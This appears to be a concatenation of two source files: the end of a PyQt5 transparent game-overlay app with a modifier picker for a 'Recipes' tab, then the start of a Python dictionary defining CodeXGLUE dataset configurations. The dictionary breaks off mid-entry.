painterelse.drawRect(2, 2, 73, 73)\r\n\r\n \r\n \r\n painterelse.end() \r\n \r\n def ShowHideSettings(self): \r\n \r\n global SettingShow\r\n if SettingShow == 1:\r\n SettingShow = 0\r\n self.tabWidget.hide()\r\n else: \r\n SettingShow = 1\r\n self.tabWidget.show() \r\n def ShowHideGrid(self): \r\n \r\n global GridShow\r\n if GridShow == 1:\r\n GridShow = 0\r\n self.Grid_Base.hide()\r\n\r\n \r\n else: \r\n GridShow = 1\r\n self.Grid_Base.show() \r\n\r\n \r\n \r\n def ShowHideAll(self): \r\n global SettingShow\r\n global GridShow\r\n if GridShow == 1 & SettingShow == 1 :\r\n GridShow = 0\r\n SettingShow = 0\r\n self.Grid_Base.hide()\r\n self.tabWidget.hide()\r\n \r\n else: \r\n GridShow = 1\r\n SettingShow = 1\r\n self.Grid_Base.show()\r\n self.tabWidget.show() \r\n def ShowNew(self):\r\n insert = \"\"\"\r\n select Cordx,Cordy from Stash where Name=\"None\"; \r\n \"\"\" \r\n ddd = execute_read_query(connection, insert) \r\n print (ddd) \r\n \r\n \r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"Setting\")\r\n MainWindow.setWindowFlags(QtCore.Qt.FramelessWindowHint|QtCore.Qt.WindowStaysOnTopHint)\r\n MainWindow.setAttribute(QtCore.Qt.WA_NoSystemBackground, True)\r\n MainWindow.setAttribute(QtCore.Qt.WA_TranslucentBackground, True)\r\n MainWindow.move(0,0)\r\n MainWindow.resize(2560,1440)\r\n self.runLongTask()\r\n \r\n \r\n\r\n \r\n \r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n #-----MENU-----\r\n \r\n \r\n self.Painter = QtWidgets.QLabel(self.centralwidget)\r\n self.Painter.canvas = QtGui.QPixmap(2560, 1440)\r\n self.Painter.setPixmap(self.Painter.canvas)\r\n \r\n \r\n self.draw_something() \r\n \r\n \r\n \r\n \r\n self.MinMaxButton = QtWidgets.QPushButton(self.centralwidget)\r\n self.MinMaxButton.setGeometry(QtCore.QRect(5, 2, 50, 70))\r\n self.MinMaxButton.setObjectName(\"MinMaxButton\") \r\n self.MinMaxButton.icon = QtGui.QIcon()\r\n self.MinMaxButton.icon.addPixmap(QtGui.QPixmap('Iconcroped.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.MinMaxButton.setIcon(self.MinMaxButton.icon)\r\n self.MinMaxButton.setIconSize(QtCore.QSize(50, 70)) \r\n self.MinMaxButton.clicked.connect(self.ShowHideAll) \r\n self.MinMaxButton.setStyleSheet(\"QPushButton\"\r\n \"{\"\r\n \"background-color : Transparent;\"\r\n \"}\" ) \r\n \r\n \r\n \r\n self.SettingButton = QtWidgets.QPushButton(self.centralwidget)\r\n self.SettingButton.setGeometry(QtCore.QRect(4, 58, 20, 20))\r\n self.SettingButton.setObjectName(\"SettingButton\") \r\n self.SettingButton.icon = QtGui.QIcon()\r\n self.SettingButton.icon.addPixmap(QtGui.QPixmap('Setting.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.SettingButton.setIcon(self.SettingButton.icon)\r\n self.SettingButton.setIconSize(QtCore.QSize(20, 20)) \r\n self.SettingButton.clicked.connect(self.ShowHideSettings) \r\n self.SettingButton.setStyleSheet(\"QPushButton\"\r\n \"{\"\r\n \"background-color : Transparent;\"\r\n \"}\" ) \r\n self.OverlayButton = QtWidgets.QPushButton(self.centralwidget)\r\n self.OverlayButton.setGeometry(QtCore.QRect(34, 58, 20, 20))\r\n self.OverlayButton.setObjectName(\"OverlayButton\") \r\n self.OverlayButton.icon = QtGui.QIcon()\r\n self.OverlayButton.icon.addPixmap(QtGui.QPixmap('Overlay.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.OverlayButton.setIcon(self.OverlayButton.icon)\r\n self.OverlayButton.setIconSize(QtCore.QSize(20, 20)) \r\n self.OverlayButton.clicked.connect(self.ShowHideGrid) \r\n self.OverlayButton.setStyleSheet(\"QPushButton\"\r\n \"{\"\r\n \"background-color : Transparent;\"\r\n \"}\" ) \r\n self.CloseButton = QtWidgets.QPushButton(self.centralwidget)\r\n self.CloseButton.setGeometry(QtCore.QRect(60, 5, 20, 20))\r\n self.CloseButton.setObjectName(\"CloseButton\") \r\n self.CloseButton.icon = QtGui.QIcon()\r\n self.CloseButton.icon.addPixmap(QtGui.QPixmap('Close.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.CloseButton.setIcon(self.CloseButton.icon)\r\n self.CloseButton.setIconSize(QtCore.QSize(20, 20)) \r\n self.CloseButton.clicked.connect(app.quit) \r\n self.CloseButton.setStyleSheet(\"QPushButton\"\r\n \"{\"\r\n \"background-color : Transparent;\"\r\n \"}\" ) \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n #_____RECEPT_AND SETTINGS__________\r\n \r\n self.tabWidget = QtWidgets.QTabWidget(self.centralwidget)\r\n self.tabWidget.setGeometry(QtCore.QRect(900, 20, 1600,1400))\r\n self.tabWidget.setObjectName(\"tabWidget\")\r\n\r\n \r\n \r\n self.Recipes = QtWidgets.QWidget()\r\n\r\n \r\n self.tabWidget.addTab(self.Recipes, \"\")\r\n self.Recipes.setObjectName(\"Recipes\")\r\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.Recipes), \"Recipes\")\r\n stylesheet = \"\"\" \r\n QTabWidget::pane{border-color:red;background-color: rgba(255, 50, 50, .8);} \r\n \r\n \"\"\" \r\n self.tabWidget.setStyleSheet(stylesheet) \r\n \r\n self.Settings = QtWidgets.QWidget()\r\n self.tabWidget.addTab(self.Settings, \"\") \r\n self.tabWidget.setTabShape(QtWidgets.QTabWidget.Triangular)\r\n self.Settings.setObjectName(\"Settings\") \r\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.Settings), \"Settings\")\r\n self.tabWidget.font = QtGui.QFont('Arial', 15)\r\n \r\n self.tabWidget.setFont(self.tabWidget.font) \r\n \r\n #_____Setting Page _________\r\n \r\n # self.Settings.\r\n \r\n \r\n \r\n FindNewButton = QPushButton(\"Find New\",self.Settings)\r\n FindNewButton.clicked.connect(self.ShowNew) \r\n FindNewButton.setGeometry(QtCore.QRect(100,400, 80, 30))\r\n \r\n \r\n FindNewButton.show()\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n #__________________GRID________\r\n \r\n self.Grid_Base = QtWidgets.QFrame(self.centralwidget)\r\n self.Grid_Base.setGeometry(QtCore.QRect(155, 461, 584, 584))\r\n self.Grid_Base.setObjectName(\"Grid\") \r\n self.Grid_Base.setStyleSheet(\"QFrame\" \r\n \"{\" \r\n #\"background-color : rgba(222, 184, 135, .6);\"\r\n \"background-color : Transparent;\"\r\n \"}\"\r\n )\r\n \r\n \r\n self.Grid_Painter = QtWidgets.QLabel(self.Grid_Base)\r\n self.Grid_Painter.canvas = QtGui.QPixmap(584, 584)\r\n self.Grid_Painter.setPixmap(self.Grid_Painter.canvas)\r\n \r\n \r\n \r\n self.draw_somethingelse() \r\n \r\n \r\n \r\n \r\n self.ModcomboBox = QtWidgets.QComboBox(self.Recipes)\r\n self.ModcomboBox.setGeometry(QtCore.QRect(20, 20, 130, 20))\r\n self.ModcomboBox.setObjectName(\"ModcomboBox\")\r\n self.ModcomboBox.addItem(\"0\")\r\n self.ModcomboBox.addItem(\"1\")\r\n self.ModcomboBox.addItem(\"2\")\r\n self.ModcomboBox.addItem(\"3\")\r\n self.ModcomboBox.addItem(\"4\")\r\n self.ModcomboBox.addItem(\"5\")\r\n self.ModcomboBox.addItem(\"6\")\r\n self.ModcomboBox.addItem(\"7\")\r\n self.ModcomboBox.addItem(\"8\")\r\n self.ModcomboBox.addItem(\"9\")\r\n self.ModcomboBox.addItem(\"10\")\r\n self.ModcomboBox.addItem(\"11\")\r\n self.ModcomboBox.addItem(\"12\")\r\n self.ModcomboBox.addItem(\"13\")\r\n self.ModcomboBox.addItem(\"14\")\r\n self.ModcomboBox.addItem(\"15\")\r\n self.ModcomboBox.addItem(\"16\")\r\n self.ModcomboBox.addItem(\"17\")\r\n self.ModcomboBox.addItem(\"18\")\r\n self.ModcomboBox.addItem(\"19\")\r\n self.ModcomboBox.addItem(\"20\")\r\n self.ModcomboBox.addItem(\"21\")\r\n self.ModcomboBox.addItem(\"22\")\r\n self.ModcomboBox.addItem(\"23\")\r\n self.ModcomboBox.addItem(\"24\")\r\n self.ModcomboBox.addItem(\"25\")\r\n self.ModcomboBox.addItem(\"26\")\r\n self.ModcomboBox.addItem(\"27\")\r\n self.ModcomboBox.addItem(\"28\")\r\n self.ModcomboBox.addItem(\"29\")\r\n self.ModcomboBox.addItem(\"30\")\r\n self.ModcomboBox.addItem(\"31\")\r\n self.ModcomboBox.addItem(\"32\")\r\n self.ModcomboBox.addItem(\"33\")\r\n self.ModcomboBox.addItem(\"34\")\r\n self.ModcomboBox.addItem(\"35\")\r\n self.ModcomboBox.addItem(\"36\")\r\n self.ModcomboBox.addItem(\"37\")\r\n self.ModcomboBox.addItem(\"38\")\r\n self.ModcomboBox.addItem(\"39\")\r\n self.ModcomboBox.addItem(\"40\")\r\n self.ModcomboBox.addItem(\"41\")\r\n self.ModcomboBox.addItem(\"42\")\r\n self.ModcomboBox.addItem(\"43\")\r\n self.ModcomboBox.addItem(\"44\")\r\n self.ModcomboBox.addItem(\"45\")\r\n self.ModcomboBox.addItem(\"46\")\r\n self.ModcomboBox.addItem(\"47\")\r\n self.ModcomboBox.addItem(\"48\")\r\n self.ModcomboBox.addItem(\"49\")\r\n self.ModcomboBox.addItem(\"50\")\r\n self.ModcomboBox.addItem(\"51\")\r\n self.ModcomboBox.addItem(\"52\")\r\n self.ModcomboBox.addItem(\"53\")\r\n self.ModcomboBox.addItem(\"54\")\r\n self.ModcomboBox.addItem(\"55\")\r\n self.ModcomboBox.addItem(\"56\")\r\n self.ModcomboBox.addItem(\"57\")\r\n self.ModcomboBox.addItem(\"58\")\r\n self.ModcomboBox.addItem(\"59\")\r\n self.ModcomboBox.addItem(\"60\")\r\n self.ModcomboBox.addItem(\"61\")\r\n self.ModcomboBox.addItem(\"62\") \r\n self.ModcomboBox.setItemText(0,\"Toxic\")\r\n self.ModcomboBox.setItemText(1,\"Kitavatouched\")\r\n self.ModcomboBox.setItemText(2,\"Chaosweaver\")\r\n self.ModcomboBox.setItemText(3,\"Frostweaver\")\r\n self.ModcomboBox.setItemText(4,\"Permafrost\")\r\n self.ModcomboBox.setItemText(5,\"Hasted\")\r\n self.ModcomboBox.setItemText(6,\"Deadeye\")\r\n self.ModcomboBox.setItemText(7,\"Bombardier\")\r\n self.ModcomboBox.setItemText(8,\"Flameweaver\")\r\n self.ModcomboBox.setItemText(9,\"Incendiary\")\r\n self.ModcomboBox.setItemText(10,\"Arcane_Buffer\")\r\n self.ModcomboBox.setItemText(11,\"Echoist\")\r\n self.ModcomboBox.setItemText(12,\"Stormweaver\")\r\n self.ModcomboBox.setItemText(13,\"Dynamo\")\r\n self.ModcomboBox.setItemText(14,\"Bonebreaker\")\r\n self.ModcomboBox.setItemText(15,\"Bloodletter\")\r\n self.ModcomboBox.setItemText(16,\"Steelinfused\")\r\n self.ModcomboBox.setItemText(17,\"Gargantuan\")\r\n self.ModcomboBox.setItemText(18,\"Berserker\")\r\n self.ModcomboBox.setItemText(19,\"Sentinel\")\r\n self.ModcomboBox.setItemText(20,\"Juggernaut\")\r\n self.ModcomboBox.setItemText(21,\"Vampiric\")\r\n self.ModcomboBox.setItemText(22,\"Overcharged\")\r\n self.ModcomboBox.setItemText(23,\"Soul_Conduit\")\r\n self.ModcomboBox.setItemText(24,\"Opulent\")\r\n self.ModcomboBox.setItemText(25,\"Malediction\")\r\n self.ModcomboBox.setItemText(26,\"Consecrator\")\r\n self.ModcomboBox.setItemText(27,\"Frenzied\")\r\n self.ModcomboBox.setItemText(28,\"Heralding_Minions\")\r\n self.ModcomboBox.setItemText(29,\"Empowering_Minions\")\r\n self.ModcomboBox.setItemText(30,\"Assassin\")\r\n self.ModcomboBox.setItemText(31,\"Trickster\")\r\n self.ModcomboBox.setItemText(32,\"Necromancer\")\r\n self.ModcomboBox.setItemText(33,\"Rejuvenating\")\r\n self.ModcomboBox.setItemText(34,\"Executioner\")\r\n self.ModcomboBox.setItemText(35,\"Hexer\")\r\n self.ModcomboBox.setItemText(36,\"Drought_Bringer\")\r\n self.ModcomboBox.setItemText(37,\"Entangler\")\r\n self.ModcomboBox.setItemText(38,\"Temporal_Bubble\")\r\n self.ModcomboBox.setItemText(39,\"Treant_Horde\")\r\n self.ModcomboBox.setItemText(40,\"Frost_Strider\")\r\n self.ModcomboBox.setItemText(41,\"Ice_Prison\")\r\n self.ModcomboBox.setItemText(42,\"Soul_Eater\")\r\n self.ModcomboBox.setItemText(43,\"Flame_Strider\")\r\n self.ModcomboBox.setItemText(44,\"Corpse_Detonator\")\r\n self.ModcomboBox.setItemText(45,\"Evocationist\")\r\n self.ModcomboBox.setItemText(46,\"Magma_Barrier\")\r\n self.ModcomboBox.setItemText(47,\"Mirror_Image\")\r\n self.ModcomboBox.setItemText(48,\"Storm_Strider\")\r\n self.ModcomboBox.setItemText(49,\"Mana_Siphoner\")\r\n self.ModcomboBox.setItemText(50,\"Corrupter\")\r\n self.ModcomboBox.setItemText(51,\"Invulnerable\")\r\n self.ModcomboBox.setItemText(52,\"Crystalskinned\")\r\n self.ModcomboBox.setItemText(53,\"Empowered_Elements\")\r\n self.ModcomboBox.setItemText(54,\"Effigy\")\r\n self.ModcomboBox.setItemText(55,\"Lunaristouched\")\r\n self.ModcomboBox.setItemText(56,\"Solaristouched\")\r\n self.ModcomboBox.setItemText(57,\"Arakaalitouched\")\r\n self.ModcomboBox.setItemText(58,\"Brine_Kingtouched\")\r\n self.ModcomboBox.setItemText(59,\"Tukohamatouched\")\r\n self.ModcomboBox.setItemText(60,\"Abberathtouched\")\r\n self.ModcomboBox.setItemText(61,\"Shakaritouched\")\r\n self.ModcomboBox.setItemText(62,\"Innocencetouched\")\r\n \r\n \r\n self.AddButton = QtWidgets.QPushButton(self.Recipes)\r\n self.AddButton.setGeometry(QtCore.QRect(160, 20, 30, 20))\r\n self.AddButton.setObjectName(\"AddButton\") \r\n self.AddButton.setText(\"Add\")\r\n \r\n \r\n self.AddButton.clicked.connect(lambda: ui.createuberbuton(self.ModcomboBox.currentText(), 20, 60,19,0,self.Recipes)) \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n MainWindow.setCentralWidget(self.centralwidget) \r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n \r\n \r\n MainWindow = QtWidgets.QMainWindow()\r\n ui = Ui_MainWindow()\r\n ui.setupUi(MainWindow)\r\n MainWindow.show()\r\n \r\n \r\n \r\n sys.exit(app.exec_())", "source": "Psychogenius136/Recipies", "license": "Apache-2.0"} {"text": "DEFINITIONS={\n \"cc_clone_detection_big_clone_bench\": {\n \"class_name\": \"CodeXGlueCCCloneDetectionBigCloneBench\",\n \"data_dir_name\": \"dataset\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE Clone-detection-BigCloneBench dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/Clone-detection-BigCloneBench\",\n \"dir_name\": \"Clone-detection-BigCloneBench\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Clone-detection-BigCloneBench/dataset/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Clone-detection-BigCloneBench/dataset/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Clone-detection-BigCloneBench/dataset/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Clone-detection-BigCloneBench/dataset/data.jsonl\"\n ],\n \"name\": \"cc_clone_detection_big_clone_bench\",\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/Clone-detection-BigCloneBench\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/Clone-detection-BigCloneBench/dataset\"\n },\n \"cc_clone_detection_poj_104\": {\n \"class_name\": \"CodeXGlueCCCloneDetectionPOJ104\",\n \"data_dir_name\": \"dataset\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE Clone-detection-POJ-104 dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/Clone-detection-POJ-104\",\n \"dir_name\": \"Clone-detection-POJ-104\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Clone-detection-POJ-104/dataset/programs.tar.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Clone-detection-POJ-104/dataset/preprocess.py\"\n ],\n \"name\": \"cc_clone_detection_poj_104\",\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/Clone-detection-POJ-104\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/Clone-detection-POJ-104/dataset\"\n },\n \"cc_cloze_testing_all_go\": {\n \"class_name\": \"CodeXGlueCCClozeTestingAll\",\n \"data_dir_name\": \"data/cloze-all/go\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-all dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"dir_name\": \"ClozeTesting-all\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-all/data/cloze-all/go/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_all\",\n \"parameters\": {\n \"language\": \"go\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-all/data/cloze-all/go\"\n },\n \"cc_cloze_testing_all_java\": {\n \"class_name\": \"CodeXGlueCCClozeTestingAll\",\n \"data_dir_name\": \"data/cloze-all/java\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-all dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"dir_name\": \"ClozeTesting-all\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-all/data/cloze-all/java/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_all\",\n \"parameters\": {\n \"language\": \"java\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-all/data/cloze-all/java\"\n },\n \"cc_cloze_testing_all_javascript\": {\n \"class_name\": \"CodeXGlueCCClozeTestingAll\",\n \"data_dir_name\": \"data/cloze-all/javascript\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-all dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"dir_name\": \"ClozeTesting-all\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-all/data/cloze-all/javascript/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_all\",\n \"parameters\": {\n \"language\": \"javascript\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-all/data/cloze-all/javascript\"\n },\n \"cc_cloze_testing_all_php\": {\n \"class_name\": \"CodeXGlueCCClozeTestingAll\",\n \"data_dir_name\": \"data/cloze-all/php\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-all dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"dir_name\": \"ClozeTesting-all\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-all/data/cloze-all/php/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_all\",\n \"parameters\": {\n \"language\": \"php\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-all/data/cloze-all/php\"\n },\n \"cc_cloze_testing_all_python\": {\n \"class_name\": \"CodeXGlueCCClozeTestingAll\",\n \"data_dir_name\": \"data/cloze-all/python\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-all dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"dir_name\": \"ClozeTesting-all\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-all/data/cloze-all/python/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_all\",\n \"parameters\": {\n \"language\": \"python\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-all/data/cloze-all/python\"\n },\n \"cc_cloze_testing_all_ruby\": {\n \"class_name\": \"CodeXGlueCCClozeTestingAll\",\n \"data_dir_name\": \"data/cloze-all/ruby\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-all dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"dir_name\": \"ClozeTesting-all\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-all/data/cloze-all/ruby/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_all\",\n \"parameters\": {\n \"language\": \"ruby\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-all\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-all/data/cloze-all/ruby\"\n },\n \"cc_cloze_testing_maxmin_go\": {\n \"class_name\": \"CodeXGlueCCClozeTestingMaxmin\",\n \"data_dir_name\": \"data/cloze-maxmin/go\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-maxmin dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"dir_name\": \"ClozeTesting-maxmin\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/go/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_maxmin\",\n \"parameters\": {\n \"language\": \"go\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/go\"\n },\n \"cc_cloze_testing_maxmin_java\": {\n \"class_name\": \"CodeXGlueCCClozeTestingMaxmin\",\n \"data_dir_name\": \"data/cloze-maxmin/java\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-maxmin dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"dir_name\": \"ClozeTesting-maxmin\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/java/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_maxmin\",\n \"parameters\": {\n \"language\": \"java\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/java\"\n },\n \"cc_cloze_testing_maxmin_javascript\": {\n \"class_name\": \"CodeXGlueCCClozeTestingMaxmin\",\n \"data_dir_name\": \"data/cloze-maxmin/javascript\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-maxmin dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"dir_name\": \"ClozeTesting-maxmin\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/javascript/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_maxmin\",\n \"parameters\": {\n \"language\": \"javascript\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/javascript\"\n },\n \"cc_cloze_testing_maxmin_php\": {\n \"class_name\": \"CodeXGlueCCClozeTestingMaxmin\",\n \"data_dir_name\": \"data/cloze-maxmin/php\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-maxmin dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"dir_name\": \"ClozeTesting-maxmin\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/php/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_maxmin\",\n \"parameters\": {\n \"language\": \"php\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/php\"\n },\n \"cc_cloze_testing_maxmin_python\": {\n \"class_name\": \"CodeXGlueCCClozeTestingMaxmin\",\n \"data_dir_name\": \"data/cloze-maxmin/python\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-maxmin dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"dir_name\": \"ClozeTesting-maxmin\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/python/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_maxmin\",\n \"parameters\": {\n \"language\": \"python\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/python\"\n },\n \"cc_cloze_testing_maxmin_ruby\": {\n \"class_name\": \"CodeXGlueCCClozeTestingMaxmin\",\n \"data_dir_name\": \"data/cloze-maxmin/ruby\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE ClozeTesting-maxmin dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"dir_name\": \"ClozeTesting-maxmin\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/ruby/clozeTest.json\"\n ],\n \"name\": \"cc_cloze_testing_maxmin\",\n \"parameters\": {\n \"language\": \"ruby\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/ClozeTesting-maxmin\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/ClozeTesting-maxmin/data/cloze-maxmin/ruby\"\n },\n \"cc_code_completion_line_java\": {\n \"class_name\": \"CodeXGlueCCCodeCompletionLine\",\n \"data_dir_name\": \"dataset/javaCorpus/line_completion\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE CodeCompletion-line dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/CodeCompletion-line\",\n \"dir_name\": \"CodeCompletion-line\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/CodeCompletion-line/dataset/javaCorpus/line_completion/test.json\"\n ],\n \"name\": \"cc_code_completion_line\",\n \"parameters\": {\n \"language\": \"java\",\n \"original_language_name\": \"javaCorpus\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/CodeCompletion-line\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/CodeCompletion-line/dataset/javaCorpus/line_completion\"\n },\n \"cc_code_completion_line_python\": {\n \"class_name\": \"CodeXGlueCCCodeCompletionLine\",\n \"data_dir_name\": \"dataset/py150/line_completion\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE CodeCompletion-line dataset, available at 